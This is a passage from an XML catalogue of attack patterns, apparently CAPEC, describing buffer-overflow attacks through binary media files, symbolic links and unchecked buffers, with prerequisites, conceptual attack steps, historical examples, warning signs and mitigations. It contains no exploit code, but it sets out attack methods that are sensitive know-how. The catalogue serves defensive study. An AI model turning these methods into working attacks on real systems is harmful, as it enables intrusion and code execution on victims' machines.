			<Summary>An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may includes music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the attacker access to the execution stack and execute arbitrary code in the target process. This attack pattern is a variant of standard buffer overflow attacks using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The attacker is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application, for the victim to download. The attacker then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Target software processes binary resource files.</Attack_Prerequisite>
			<Attack_Prerequisite>Target software contains a buffer overflow vulnerability reachable through input from a user-controllable binary resource file.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the attacker has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium: to modify file, deceive client into downloading, locate and exploit remote stack or heap vulnerability</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Perform appropriate bounds checking on all buffers.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Enforce principle of least privilege</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Static code analysis</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Execute program in less trusted process space environment, do not allow lower integrity processes to write to higher integrity processes</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Keep software patched to ensure that known vulnerabilities are not available for attackers to target on host.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Overflow Binary Resource File
		The attacker modifies a resource file, such as sound, video, graphic, or font file. Sometimes simply editing the target resource file in a hex editor is possible. The attacker modifies headers and structure data that indicate the length of strings, and so forth."

		[Hoglund and McGraw 04]</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>23</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Similar</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>35</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Similar</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Penetration</Purpose>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
			<Language>C</Language>
			<Language>C++</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="45" Name="Buffer Overflow via Symbolic Links" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This type of attack leverages the use of symbolic links to cause buffer overflows. An attacker can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The target host  consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attacker's symbolic link.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The attacker can create symbolic link on the target host.</Attack_Prerequisite>
			<Attack_Prerequisite>The target host does not perform correct boundary checking while consuming data from a ressources.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Overflow with Symbolic Links in EFTP Server

				The EFTP server has a buffer overflow that can be exploited if an attacker uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the attacker uploads some content (the link file) and then the attacker causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.  The result can be a DoS.
		High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker will look for temporary files in the world readable directories. Those temporary files are often created and read by the system.</Probing_Technique>
			<Probing_Technique>The attacker will look for Symbolic link or link target file that she can overide.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>An attacker creating or modifying Symbolic links is a potential signal of attack in progress.</Indicator-Warning_of_Attack>
			<Indicator-Warning_of_Attack>An attacker deleting temporary files can also be a sign that the attacker is trying to replace legitimate resources with malicious ones.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Pay attention to the fact that the ressource you read from can be a replaced by a Symbolic link. You can do a Symlink check before reading the file and decide that this is not a legitimate way of accessing the resource.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Because Symlink can be modified by an attacker, make sure that the ones you read are located in protected directories.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Pay attention to the resource pointed to by your symlink links (See attack pattern named "Forced Symlink race"), they can be replaced by malicious resources.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Always check the size of the input data before copying to a buffer.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use OS-level preventative functionality. Not a complete solution.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Content-Based Buffer Overflow

		Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it.
		
		Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn.
		
		What's really interesting from an attacker's point of view is formatting data file-embedded poison pills in such a way that virus code is activated. A great example of this involved the Winamp program in which an overly long IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there is a location where a normal text string can be placed. This is called the IDv3 tag, and if an overly long tag were to be supplied, Winamp would suffer a buffer overflow. This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp.
		
		Access right to the symbolic link:
		
		When a symlink is created there are no rights associated with it (this why you read them with rights lrwxrwxrwx). So everybody can modify them even if the owner of the Symlink is root and if the user changing the Symbolic link has no right on the link target file. The relevant rights are on the linked target file. To prevent someone from modifying the symlink in the first place, the directory containing it should have limited access rights.</Context_Description>
		<Injection_Vector>The resource pointed to by the Symbolic link (e.g., file, directory, etc.)</Injection_Vector>
		<Payload>The buffer overrun by the attacker.</Payload>
		<Activation_Zone>When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.</Activation_Zone>
		<Payload_Activation_Impact>The most common is remote code execution.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>285</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>302</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>118</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Penetration</Purpose>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
			<Language>C</Language>
			<Language>C++</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Buffer Errors</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-13</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name and Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="100" Name="Overflow Buffers" Pattern_Abstraction="Standard">
		<Description>
			<Summary>Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attacker's choice.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker identifies a buffer to target. Buffer regions are either allotted on the stack or the heap, and the exact nature of attack would vary depending on the location of the buffer</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Next, the attacker identifies an injection vector to deliver the excessive content to the targeted buffer.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the attacker will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the attacker's choosing which points to code injected by the attacker.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker injects the content into the targeted software.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Upon successful exploitation, the system either crashes or control of the program is returned to a location of the attacker's choice. This can result in execution of arbitrary code or escalated privileges, depending upon the exploited target.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Targeted software performs buffer operations.</Attack_Prerequisite>
			<Attack_Prerequisite>Targeted software inadequately performs bounds-checking on buffer operations.</Attack_Prerequisite>
			<Attack_Prerequisite>Attacker has the capability to influence the input to buffer operations.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an attacker not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: In most cases, overflowing a buffer does not require advanced skills beyond the ability to notice an overflow and stuff an input variable with content. 
		High: In cases of directed overflows, where the motive is to divert the flow of the program or application as per the attacker's bidding, high level skills are required. This may involve detailed knowledge of the target system architecture and kernel.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>None: Detecting and exploiting a buffer overflow does not require any resources beyond knowledge of and access to the target system.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker sends in overtly long input in variables under his control. If the target system or application handles it gracefully, the attack becomes difficult. However, an error condition or a system crash point to a high likelihood of successful exploitation.</Probing_Technique>
			<Probing_Technique>In cases where the attack is directed at a particular system or application, such as an operating system or a web server, the attacker can refer to system architecture and design documentation to figure out the exact point of injection and exploitation.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>An attack designed to leverage a buffer overflow and redirect execution as per the attacker's bidding is fairly difficult to detect. An attack aimed solely at bringing the system down is usually preceded by a barrage of long inputs that make no sense. In either case, it is likely that the attacker would have resorted to a few hit-or-miss attempts that will be recorded in the system event logs, if they exist.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Obfuscation_Techniques>
			<Obfuscation_Technique>A buffer overflow attack itself is pretty difficult to obfuscate. There, however, exist fairly advanced techniques to ofuscate the payload, in order to bypass an intrusion detection system or filtering, either in the application or by means of an application firewall of some sorts.</Obfuscation_Technique>
		</Obfuscation_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use secure functions not vulnerable to buffer overflow.</Solution_or_Mitigation>
			<Solution_or_Mitigation>If you have to use dangerous functions, make sure that you do boundary checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use OS-level preventative functionality. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Utilize static source code analysis tools to identify potential buffer overflow weaknesses in the software.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Every program or application is designed to process some inputs received from the user or another system. Buffer overflows abound because programs trust user-controlled input.

		A buffer is a region of memory allocated for the purposes of storing certain data values. These can be environment variables, user-suppplied input or temporary scratch space. These regions are allocated on a stack (static allocation) or a heap (dynamic allocation). Although the exact payload used to exploit an overflow in buffers allocated on the stack or hea